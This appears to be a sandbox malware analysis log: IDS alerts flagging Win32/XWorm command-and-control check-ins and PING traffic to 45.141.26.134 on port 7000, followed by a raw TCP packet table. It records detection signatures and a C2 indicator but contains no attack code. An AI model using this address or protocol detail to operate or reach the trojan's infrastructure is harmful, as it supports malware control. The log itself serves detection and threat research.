2024-11-25T08:56:39.806194+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:56:39.819371+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:56:40.060140+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:56:40.064715+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:56:40.353195+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:56:40.355122+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:56:53.395155+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:56:53.395155+0100	2852874	ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M2	1	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:56:53.729778+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:56:53.732407+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:56:55.462497+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:56:55.463889+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:57:01.101843+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:57:01.104528+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:57:11.367860+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:57:11.369689+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:57:16.240004+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:57:16.240251+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:57:16.243183+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:57:16.696188+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:57:16.697744+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:57:23.384551+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:57:23.384551+0100	2852874	ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M2	1	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:57:23.899550+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:57:23.902579+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:57:26.023750+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:57:26.025412+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:57:33.167704+0100	2853193	ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound	1	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:57:33.753603+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:57:33.786962+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:57:46.399910+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:57:46.405091+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:57:53.040127+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:57:53.232690+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:57:53.406222+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:57:53.406222+0100	2852874	ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M2	1	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:58:06.929942+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:58:06.931814+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:58:11.399731+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:58:11.403104+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:58:11.653910+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:58:11.690822+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:58:11.925757+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:58:12.023345+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:58:23.432884+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:58:23.432884+0100	2852874	ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M2	1	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:58:24.462311+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:58:24.464680+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:58:26.902453+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:58:26.904844+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:58:27.274986+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:58:27.276607+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:58:33.181717+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:58:33.183692+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:58:36.745355+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:58:36.747499+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:58:37.196123+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:58:37.198005+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:58:47.164750+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:58:47.168451+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:58:52.150218+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:58:52.152210+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:58:53.438566+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:58:53.438566+0100	2852874	ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M2	1	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:58:54.492682+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:58:54.494066+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:58:56.674939+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:58:56.676874+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:58:57.852047+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:58:58.351879+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:58:58.353766+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:58:58.608295+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:58:58.609837+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:59:01.462519+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:59:01.464362+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:59:08.579608+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:59:08.581856+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:59:08.833416+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:59:08.838729+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:59:09.140205+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:59:11.633875+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:59:11.635684+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:59:18.821312+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:59:18.829686+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:59:20.104054+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:59:20.107542+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:59:23.444705+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:59:23.444705+0100	2852874	ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M2	1	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:59:23.745977+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:59:23.750177+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:59:24.196844+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:59:24.199688+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.4	49734	45.141.26.134	7000	TCP
2024-11-25T08:59:27.770571+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	45.141.26.134	7000	192.168.2.4	49734	TCP
2024-11-25T08:59:27.771330+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.4	49734	45.141.26.134	7000	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 25, 2024 08:55:22.901902914 CET	49732	80	192.168.2.4	208.95.112.1
Nov 25, 2024 08:55:23.021713018 CET	80	49732	208.95.112.1	192.168.2.4
Nov 25, 2024 08:55:23.021816969 CET	49732	80	192.168.2.4	208.95.112.1
Nov 25, 2024 08:55:23.022228003 CET	49732	80	192.168.2.4	208.95.112.1
Nov 25, 2024 08:55:23.141724110 CET	80	49732	208.95.112.1	192.168.2.4
Nov 25, 2024 08:55:24.118144035 CET	80	49732	208.95.112.1	192.168.2.4
Nov 25, 2024 08:55:24.167500973 CET	49732	80	192.168.2.4	208.95.112.1
Nov 25, 2024 08:55:25.150810957 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:55:25.270431042 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:55:25.270524979 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:55:25.359460115 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:55:25.480268002 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:55:39.249984980 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:55:39.369504929 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:55:39.835906982 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:55:39.853924990 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:55:39.973536015 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:55:53.137115002 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:55:53.256686926 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:55:53.369724035 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:55:53.417361975 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:55:53.712594032 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:55:53.721541882 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:55:53.841037989 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:56:07.027252913 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:56:07.146744013 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:56:07.602596998 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:56:07.604707956 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:56:07.724267006 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:56:09.119645119 CET	80	49732	208.95.112.1	192.168.2.4
Nov 25, 2024 08:56:09.119740009 CET	49732	80	192.168.2.4	208.95.112.1
Nov 25, 2024 08:56:20.917747021 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:56:21.037254095 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:56:21.492990971 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:56:21.494596958 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:56:21.734848976 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:56:23.378688097 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:56:23.433140039 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:56:33.602716923 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:56:33.722259045 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:56:34.178781986 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:56:34.181269884 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:56:34.300832033 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:56:39.230078936 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:56:39.350061893 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:56:39.350133896 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:56:39.469665051 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:56:39.806194067 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:56:39.819370985 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:56:39.938911915 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:56:40.060139894 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:56:40.064714909 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:56:40.184150934 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:56:40.353194952 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:56:40.355122089 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:56:40.474762917 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:56:53.152097940 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:56:53.271600962 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:56:53.395154953 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:56:53.438405037 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:56:53.729778051 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:56:53.732407093 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:56:53.852183104 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:56:54.855214119 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:56:54.975068092 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:56:55.462496996 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:56:55.463888884 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:56:55.583647966 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:57:00.526762009 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:57:00.646282911 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:57:01.101843119 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:57:01.104527950 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:57:01.224026918 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:57:04.153184891 CET	49732	80	192.168.2.4	208.95.112.1
Nov 25, 2024 08:57:04.272717953 CET	80	49732	208.95.112.1	192.168.2.4
Nov 25, 2024 08:57:10.792444944 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:57:10.911993027 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:57:11.367860079 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:57:11.369688988 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:57:11.489229918 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:57:15.276794910 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:57:15.396286964 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:57:16.091135025 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:57:16.240004063 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:57:16.240251064 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:57:16.240936041 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:57:16.241143942 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:57:16.243182898 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:57:16.362591982 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:57:16.696187973 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:57:16.697743893 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:57:16.817210913 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:57:23.324034929 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:57:23.384551048 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:57:23.443145990 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:57:23.443567991 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:57:23.899549961 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:57:23.902579069 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:57:24.022253990 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:57:25.448504925 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:57:25.568033934 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:57:26.023750067 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:57:26.025412083 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:57:26.145311117 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:57:33.167704105 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:57:33.287420034 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:57:33.753602982 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:57:33.786962032 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:57:33.906548977 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:57:45.823862076 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:57:45.943653107 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:57:46.399909973 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:57:46.405091047 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:57:46.524698973 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:57:52.464581013 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:57:52.584492922 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:57:53.040127039 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:57:53.213866949 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:57:53.232690096 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:57:53.352216005 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:57:53.406222105 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:57:53.510721922 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:58:06.354979992 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:58:06.474620104 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:58:06.929941893 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:58:06.931813955 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:58:07.051275969 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:58:10.823684931 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:58:10.944068909 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:58:10.980137110 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:58:11.099988937 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:58:11.100084066 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:58:11.219682932 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:58:11.399730921 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:58:11.403104067 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:58:11.522727013 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:58:11.653909922 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:58:11.690821886 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:58:11.810513973 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:58:11.925756931 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:58:12.012444973 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:58:12.023344994 CET	49734	7000	192.168.2.4	45.141.26.134
Nov 25, 2024 08:58:12.144469023 CET	7000	49734	45.141.26.134	192.168.2.4
Nov 25, 2024 08:58:23.432883978 CET	7000	49734	45.141.26.134	192.168.2.4
